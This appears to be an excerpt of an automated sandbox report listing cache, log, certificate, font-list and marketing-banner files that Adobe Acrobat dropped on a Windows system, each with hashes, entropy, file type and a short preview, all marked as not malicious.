              SHA1:916EED77EC8C9DC90C64FF1E5CC9D04D4674EE56
              SHA-256:1EE7C151EF264F91FCDCCB6644F62DC33E27A4E829DAAB748DA1DE4426400873
              SHA-512:1726CAFCBA0121691DFA87A7298E6610BC4C7FD900867FD1B1710811E764918585E56788E08B7CA2CEE001F5DFD110E1BE6F6BBD7C2A7B7E2FC87D3DED210205
              Malicious:false
              Reputation:unknown
              Preview:{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341145152835463","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":144284},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.16","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

              C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\a5ce24a3-65c5-420c-94ad-a4c0ab0847c2.tmp

              Download File
              Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
              File Type:JSON data
              Category:dropped
              Size (bytes):403
              Entropy (8bit):4.979945962825252
              Encrypted:false
              SSDEEP:
              MD5:ABC6F951132F93AB8835F58E344A374F
              SHA1:C25BC5C33DCE1F9F03FCB4EDFCF4829A93305B2D
              SHA-256:FA500B92E5F3566C9D971817F36BB913E9F30CF8FBC3BA3AC1871687E1B33408
              SHA-512:9E479BE7B224AC30B4DF4B4DD581ADE558096A0B8EDB909E32393251BC0809811A0B136A520A472D8845FF35B338F995C222D29013D5EF474ED95AFCFBB5E448
              Malicious:false
              Reputation:unknown
              Preview:{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13373610390460371","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":126344},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.16","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

              C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

              Download File
              Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
              File Type:data
              Category:dropped
              Size (bytes):4509
              Entropy (8bit):5.2261820042687415
              Encrypted:false
              SSDEEP:
              MD5:3643A41B13F0D44AE0300636F2E36FDD
              SHA1:9BC80F56D329A44BB4352D7D7C1F58F8D4A692F4
              SHA-256:F16DECEC6BBEA3EFB9EE0337348A0DD33C96E3F2EE12FC2368763EFEB2988CE9
              SHA-512:C594C277C4D609EAA2455C48E794D6D44B22DE57A28F82BD508C041843D8C29CBC11B08EFA9C247F88B10B94807631763D0D4B7B14CD63316C8B9A82F5A7B548
              Malicious:false
              Reputation:unknown
              Preview:*...#................version.1..namespace-e...o................next-map-id.1.Pnamespace-1d95df23_a38f_44a8_b732_4e62dd896a16-https://rna-resource.acrobat.com/.0y.S_r................next-map-id.2.Snamespace-2a884c18_b39c_4e3d_942f_252e530ca4bd-https://rna-v2-resource.acrobat.com/.16.X:r................next-map-id.3.Snamespace-2e78bfda_7188_4688_a4aa_1ff81b6e5eaa-https://rna-v2-resource.acrobat.com/.2.P.@o................next-map-id.4.Pnamespace-09c119c2_97bc_4467_8f67_f92472c9e5dc-https://rna-resource.acrobat.com/.346.+^...............Pnamespace-1d95df23_a38f_44a8_b732_4e62dd896a16-https://rna-resource.acrobat.com/....^...............Pnamespace-09c119c2_97bc_4467_8f67_f92472c9e5dc-https://rna-resource.acrobat.com/..?&a...............Snamespace-2a884c18_b39c_4e3d_942f_252e530ca4bd-https://rna-v2-resource.acrobat.com/_...a...............Snamespace-2e78bfda_7188_4688_a4aa_1ff81b6e5eaa-https://rna-v2-resource.acrobat.com/...o................next-map-id.5.Pnamespace-07af9ee9_2076_4f12_94b5_

              C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

              Download File
              Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
              File Type:ASCII text
              Category:dropped
              Size (bytes):322
              Entropy (8bit):5.213439748340728
              Encrypted:false
              SSDEEP:
              MD5:0EE107AB5E7685E9F2E42823BCE88757
              SHA1:904C2A81534CB1CD63F6010C584311AB7DC2A9F2
              SHA-256:8FFEB1D3D9DE46884180F1684C0E4A348A5F96AD62F2017DAE3371D95AC88B6E
              SHA-512:A459A9FF40D4FF425E8F9B548E768FC3D85A49A6518AA4571FDF3E9028E2F1827397B3278EA882F54304029CAAEACE25BCD79F20D4AA1A414DD7E0BEE538C75A
              Malicious:false
              Reputation:unknown
              Preview:2024/10/15-23:46:24.810 1980 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2024/10/15-23:46:24.812 1980 Recovering log #3.2024/10/15-23:46:24.815 1980 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

              C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-241016034628Z-164.bmp

              Download File
              Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
              File Type:PC bitmap, Windows 3.x format, 107 x -152 x 32, cbSize 65110, bits offset 54
              Category:dropped
              Size (bytes):65110
              Entropy (8bit):2.346424852211112
              Encrypted:false
              SSDEEP:
              MD5:CF0A4272829D7E9465EEAC9C69402436
              SHA1:66F3C68055E952F5064643F04985B3A7C5E9754A
              SHA-256:6C11FC5BB5AAE370F2614D696342AF1C1B037C291006C7F203456AE0217BBA93
              SHA-512:F5A014E1007F371372E5317BFEF8593F5D63627DA6BFFCB6AC2725B943EF93E966A365D1144E19B8917A483698F9AB242097E64F1D7851FE1F704812E3737265
              Malicious:false
              Reputation:unknown
              Preview:BMV.......6...(...k...h..... .........................d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...c...L|..V...Y...^...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...d...c...L|..V...Y...^...d...d...d...d...d...d...d...d...d...d...d...X...X..._...U...^...`...d...[...c...Z...Z..._...V...\...X...d...Y...\...b.

              C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

              Download File
              Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
              File Type:SQLite 3.x database, last written using SQLite version 3040000, file counter 2, database pages 14, cookie 0x5, schema 4, UTF-8, version-valid-for 2
              Category:dropped
              Size (bytes):57344
              Entropy (8bit):3.291927920232006
              Encrypted:false
              SSDEEP:
              MD5:A4D5FECEFE05F21D6F81ACF4D9A788CF
              SHA1:1A9AC236C80F2A2809F7DE374072E2FCCA5A775C
              SHA-256:83BE4623D80FFB402FBDEC4125671DF532845A3828A1B378D99BD243A4FD8FF2
              SHA-512:FF106C6B9E1EA4B1F3E3AB01FAEA21BA24A885E63DDF0C36EB0A8C3C89A9430FE676039C076C50D7C46DC4E809F6A7E35A4BFED64D9033FEBD6121AC547AA5E9
              Malicious:false
              Reputation:unknown
              Preview:SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

              C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

              Download File
              Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
              File Type:SQLite Rollback Journal
              Category:dropped
              Size (bytes):16928
              Entropy (8bit):1.2148618890566467
              Encrypted:false
              SSDEEP:
              MD5:836B45B27560588A29F4E4401BA0F20B
              SHA1:CFA2210459D176F60E0C498C4E39CC1BF263FC57
              SHA-256:759638CEB7D8BCD53C5FBFCA8730677F4B3F91805F1CAAE5A01AD284D54C119B
              SHA-512:3B01BCDA5C50727F31F88712DE3474CD6B48560E0B243D85A3C3E4AE3056B0770DEA19737C5D6C8308D29D8922D7E59EB106B2C296601E1C0002D2E0649A5DE8
              Malicious:false
              Reputation:unknown
              Preview:.... .c.....H..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

              C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

              Download File
              Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
              File Type:Certificate, Version=3
              Category:dropped
              Size (bytes):1391
              Entropy (8bit):7.705940075877404
              Encrypted:false
              SSDEEP:
              MD5:0CD2F9E0DA1773E9ED864DA5E370E74E
              SHA1:CABD2A79A1076A31F21D253635CB039D4329A5E8
              SHA-256:96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
              SHA-512:3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
              Malicious:false
              Reputation:unknown
              Preview:0..k0..S............@.YDc.c...0...*.H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0...*.H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I.....*.A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.|C.t..t.....0.[q6....00\H..;..}`...).........A.......|.;F.H*..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..|o..;.....'...}~.."......

              C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

              Download File
              Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
              File Type:Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
              Category:dropped
              Size (bytes):71954
              Entropy (8bit):7.996617769952133
              Encrypted:true
              SSDEEP:
              MD5:49AEBF8CBD62D92AC215B2923FB1B9F5
              SHA1:1723BE06719828DDA65AD804298D0431F6AFF976
              SHA-256:B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
              SHA-512:BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
              Malicious:false
              Reputation:unknown
              Preview:MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..*Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=*....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.|.c.&>?..^t. ..;..X.d.E.0G....[Q.*,*......#.Dp..L.o|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

              C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

              Download File
              Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
              File Type:data
              Category:dropped
              Size (bytes):192
              Entropy (8bit):2.766862344522533
              Encrypted:false
              SSDEEP:
              MD5:8A87FC40051C9F6BA8F48B3BC6CFF50E
              SHA1:3D0D95E43C245651E46BC9B4B021014F4A10A29D
              SHA-256:6A07A95E643BC2DE66D03766F789107E3398833704E86F899323B890BF48F333
              SHA-512:C90F4C9F8BD57458463C43A5C8BE103C6BAEAF5CA7E91F684035CCD9DA6A4645694D189F248A34540E9E1B831760EDBC1A8B6237866FD166256E6A26EEE16357
              Malicious:false
              Reputation:unknown
              Preview:p...... ..........X.~...(....................................................... ..........W....O...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

              C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

              Download File
              Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
              File Type:data
              Category:dropped
              Size (bytes):328
              Entropy (8bit):3.253995428229511
              Encrypted:false
              SSDEEP:
              MD5:673D9350CB5C67AFB465D380E6A43F9C
              SHA1:39A5C69435A0F68BB9E7D13D03BDC282F67B8AD2
              SHA-256:EECBC2458E4EE625E9B94A1D2CA83B7686112315C7DA6FBD97F26DD831C10857
              SHA-512:ED10A28905F3EAF6E5E3E271D38204F79CA9BA10061B4058D749AA0A856BDA4D3B961729C39BD8129CB04DFD496C395268064762EF5E8D9E83EDFAA6DEA9F296
              Malicious:false
              Reputation:unknown
              Preview:p...... .........<..~...(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

              C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.3196

              Download File
              Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
              File Type:PostScript document text
              Category:dropped
              Size (bytes):185099
              Entropy (8bit):5.182478651346149
              Encrypted:false
              SSDEEP:
              MD5:94185C5850C26B3C6FC24ABC385CDA58
              SHA1:42F042285037B0C35BC4226D387F88C770AB5CAA
              SHA-256:1D9979A98F7C4B3073BC03EE9D974CCE9FE265A1E2F8E9EE26A4A5528419E808
              SHA-512:652657C00DD6AED1A132E1DFD0B97B8DF233CDC257DA8F75AC9F2428F2F7715186EA8B3B24F8350D409CC3D49AFDD36E904B077E28B4AD3E4D08B4DBD5714344
              Malicious:false
              Reputation:unknown
              Preview:%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:WinTTHandler.FontType:TrueType.FontName:AgencyFB-Reg.FamilyName:Agency FB.StyleName:Regular.MenuName:Agency FB.StyleBits:0.WeightClass:400.WidthClass:3.AngleClass:0.FullName:Agency FB.WritingScript:Roman.hasSVG:no.hasCOLR:no.VariableFontType:NonVariableFont.WinName:Agency FB.FileLength:58920.NameArray:0,Win,1,Agency FB.NameArray:0,Mac,4,Agency FB.NameArray:0,Win,1,Agency FB.%EndFont..%BeginFont.Handler:WinTTHandler.FontType:TrueType.FontName:AgencyFB-Bold.FamilyName:Agency FB.StyleName:Bold.MenuName:Agency FB.StyleBits:2.WeightClass:700.WidthClass:3.AngleClass:0.FullName:Agency FB Bold.WritingScript:Roman.hasSVG:no.hasCOLR:no.VariableFontType:NonVariableFont.WinName:Agency FB Bold.FileLength:60656.NameArray:0,Win,1,Agency FB.NameArray:0,Mac,4,Agency FB Bold.NameArray:0,Win,1,Agency FB.%EndFont..%BeginFont.Handler:WinTTHandler.FontType:TrueType.FontName:Algerian.FamilyName:Algerian.StyleName:Regular.MenuName:Algerian.StyleBits:0.We

              C:\Users\user\AppData\Local\Adobe\Acrobat\DC\IconCacheAcro65536.dat

              Download File
              Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
              File Type:data
              Category:dropped
              Size (bytes):227002
              Entropy (8bit):3.392780893644728
              Encrypted:false
              SSDEEP:
              MD5:265E3E1166312A864FB63291EA661C6A
              SHA1:80DFF3187FF929596EB22E1DB9021BAD6F97178C
              SHA-256:C13E08B1887A4E44DC39609D7234E8D732A6BC11313B55D6F4ECFB060CD87728
              SHA-512:48776A2BFE8F25E5601DCC0137F7AB103D5684517334B806E3ACF61683DD9B283828475FC85CE0CBE4E8AF88E6F8B25EED0A77640E2CFFF2CC73708726519AFA
              Malicious:false
              Reputation:unknown
              Preview:Adobe Acrobat Reader (64-bit) 23.6.20320....?A12_AV2_Search_18px.............................................................................................................KKK KKK.KKK.KKK.KKK.KKK.KKK@........................................KKK`KKK.KKK.KKK.KKK.KKK.KKK.KKK.KKK.KKK.............................KKKPKKK.KKK.KKK.KKK.........KKKPKKK.KKK.KKK.........................KKK.KKK.KKK.KKK0....................KKK.KKK.KKK.KKK`....................KKK`KKK.KKK.............................KKK@KKK.KKK.....................KKK.KKK.KKK0................................KKK.KKK.....................KKK.KKK.....................................KKK.KKK.....................KKK.KKK.KKK0................................KKK.KKK.....................KKK`KKK.KKK.............................KKK@KKK.KKK.....................KKK.KKK.KKK.KKK@....................KKK.KKK.KKK.KKK`........................KKKPKKK.KKK.KKK.KKK.........KKKPKKK.KKK.KKK.KKK.............................KKK`KKK.KKK.KKK.KKK.KKK.KKK.KKK.KKK.KKK

              C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

              Download File
              Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
              File Type:JSON data
              Category:dropped
              Size (bytes):295
              Entropy (8bit):5.362494053720063
              Encrypted:false
              SSDEEP:
              MD5:74FE23F30E79C23466EC577AA829C263
              SHA1:6D1E68951216820D6BFFF80A00636058E02072B5
              SHA-256:C1051AB9C795232936C42D040115567E5F2221AE985538801A6C734E83D9528D
              SHA-512:8E0F1CF56F915F12E8AB4EDF4BC93651A93DFBB116D7D228FFC238F887E88E8242CA2C68F068B69D042BCD3D6508FD0A892DE4C1E8B49A5FB6DAAD6757B02C8B
              Malicious:false
              Reputation:unknown
              Preview:{"analyticsData":{"responseGUID":"d620cd0b-b28e-4cfd-9efc-54ddafef0612","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1729226985655,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

              C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

              Download File
              Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
              File Type:JSON data
              Category:dropped
              Size (bytes):294
              Entropy (8bit):5.307090964506086
              Encrypted:false
              SSDEEP:
              MD5:8F1E5D95A9E7E72F0995AD780E20B657
              SHA1:FAECE6C7436AF0345570B91508421847F7D5AF47
              SHA-256:62320412A9970540CF241E711B46135F522649EE3A666BB52BC35B9E30853F5E
              SHA-512:19905B832694404D1E893693AA53D12A4CB702EE3BA9526A1A0D7ADF9AFA8D479FCAFD53324DC47DCA6CD8C4C0905CC8268452CF6D63994C0AC45DF807CEBD51
              Malicious:false
              Reputation:unknown
              Preview:{"analyticsData":{"responseGUID":"d620cd0b-b28e-4cfd-9efc-54ddafef0612","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1729226985655,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

              C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

              Download File
              Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
              File Type:JSON data
              Category:dropped
              Size (bytes):294
              Entropy (8bit):5.285502637770947
              Encrypted:false
              SSDEEP:
              MD5:5ED4933B853DBC7E090B17D49E27CA18
              SHA1:6A7ABFAE9FC20CF5E3FEE3E04F21DEFE72C5AA58
              SHA-256:0A28D4A869E57EF48F5C533BA33C5A04CB0445F123EFFBC21FF61229E6B99645
              SHA-512:10352C08378596B76069E7FD101D724EA7876FE9202CF2B371B5D000EC0606F2C1759D6BC697D31E6B272C671C6EBB53D2470F14876B78462D196C4FAC3386B2
              Malicious:false
              Reputation:unknown
              Preview:{"analyticsData":{"responseGUID":"d620cd0b-b28e-4cfd-9efc-54ddafef0612","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1729226985655,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

              C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

              Download File
              Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
              File Type:JSON data
              Category:dropped
              Size (bytes):285
              Entropy (8bit):5.350843739562914
              Encrypted:false
              SSDEEP:
              MD5:47509AAFFA281F2814EC6B7740B63FF9
              SHA1:9FB1A4AC948D3B41E11D445585858C8F298D9527
              SHA-256:F3B629FDCE06C9E6C630A0CFB9F2AFC687124BB12D290EF12FEBC607BDCBD61E
              SHA-512:5FF92CCC3D41F29A9616173A295D229E07205DEC0095598E6ABC60D38F4C0BDC05A94448AADC71929542325D7D2EB3D1B15643773161F708AA54E612CF067FB5
              Malicious:false
              Reputation:unknown
              Preview:{"analyticsData":{"responseGUID":"d620cd0b-b28e-4cfd-9efc-54ddafef0612","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1729226985655,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

              C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

              Download File
              Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
              File Type:JSON data
              Category:dropped
              Size (bytes):1083
              Entropy (8bit):5.675810553963054
              Encrypted:false
              SSDEEP:
              MD5:99F6D640E1A37EF7B41CFD41F7E995BF
              SHA1:CDD53CE3994F526DD24A0C100371073703BFB43D
              SHA-256:67B8B8EC8D03A15F793FED89F7AA489D44610B603CEA924CAB3AE7E579DE2B6A
              SHA-512:E896362F5955EA5C375DFC719E39657128898A79AE5C3D8D889D66105C334A1C0418EAA163454AFD69D2AD7071201C8C3AA815C78D89D1C46461815F094CE332
              Malicious:false
              Reputation:unknown
              Preview:{"analyticsData":{"responseGUID":"d620cd0b-b28e-4cfd-9efc-54ddafef0612","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1729226985655,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"89628_277808ActionBlock_2","campaignId":89628,"containerId":"1","controlGroupId":"","treatmentId":"22b145c0-22bc-4bba-811f-7234f288595b","variationId":"277808"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkNvbnZlcnQgZmlsZXMgdG8gYW5kIGZyb20gUERGXG53aXRob3V0IGxpbWl0cy4ifSwidGNhdElkIjoiUkdTMDM1MS1FTlUtQ29udHJvbCJ9","dataType":"applicatio

              C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

              Download File
              Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
              File Type:JSON data
              Category:dropped
              Size (bytes):1050
              Entropy (8bit):5.647281965745946
              Encrypted:false
              SSDEEP:
              MD5:38D75D33F4A4CEAC7FE362041CC9801C
              SHA1:DBB25410928EAA002A3752E0791688B025C8C73F
              SHA-256:DB190329D1E18121F858C3A367D65F2972F42054D2849FFC856B30D3B4BD3E8C
              SHA-512:CE73A343236D122C9E2CC5AC277A1B0BD42E6A792DA606C94FB010FE416091B0B4CD70191C3DB627EE9223D72BBBE21CA46163F98D342D5C4631686EBB4E9E62
              Malicious:false
              Reputation:unknown
              Preview:{"analyticsData":{"responseGUID":"d620cd0b-b28e-4cfd-9efc-54ddafef0612","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1729226985655,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Disc_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"85534_264855ActionBlock_0","campaignId":85534,"containerId":"1","controlGroupId":"","treatmentId":"0924134e-3c59-4f53-b731-add558c56fec","variationId":"264855"},"containerId":1,"containerLabel":"JSON for DC_Reader_Disc_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkNvbnZlcnQsIGVkaXQgYW5kIGUtc2lnblxuZm9ybXMgJiBhZ3JlZW1lbnRzLiJ9LCJ0Y2F0SWQiOm51bGx9","dataType":"application\/json","encodingScheme":true},"

              C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

              Download File
              Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
              File Type:JSON data
              Category:dropped
              Size (bytes):292
              Entropy (8bit):5.296665739474063
              Encrypted:false
              SSDEEP:
              MD5:FF401C7752794CC6D16E0695DEEB834B
              SHA1:72EF65AAD4DE77A878CE856CBB7B6D986ACA3838
              SHA-256:9BBAB15379554AABAB90D825BBC48AF0E1D25ADDBB49E5972D2C23268EB1699A
              SHA-512:F63C5AFCEBD88E845F1603F03F0D6B85E1F68D65EB2F60CCD1DAA6185CB276FEFA5622C9DB0371E611268F5B20F4FF5EC9BF42058720345D18587FBC8D03A3A8
              Malicious:false
              Reputation:unknown
              Preview:{"analyticsData":{"responseGUID":"d620cd0b-b28e-4cfd-9efc-54ddafef0612","sophiaUUID":"5E8BF9F5-1E3B-447C-A619-6054B1C06D0A"},"encodingScheme":true,"expirationDTS":1729226985655,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

              C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

              Download File
              Process:C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
              File Type:JSON data
              Category:dropped
              Size (bytes):1062
              Entropy (8bit):5.683581552648349
              Encrypted:false
              SSDEEP:
              MD5:413184691E1E65DA3D2582D3AFE127F0
              SHA1:EC97E808FE33F1A52EDA75F8C41D2CA5B5B593DE
              SHA-256:D98E9820AD8FA05C4E7A594D0C3D55F3B5E104CD8669A6EAEB4B01E4FD757E64
              SHA-512:C85105DB673CE4F8DD5F760CC375387A00A1C2DC8E500AA4AC9806165DBBBADC31BA3F9636FD4AC866E0D2B23DFC1DD73519C9816DD453B1F1A8B64EC69D5EC1
              Malicious:false
              Reputation:unknown
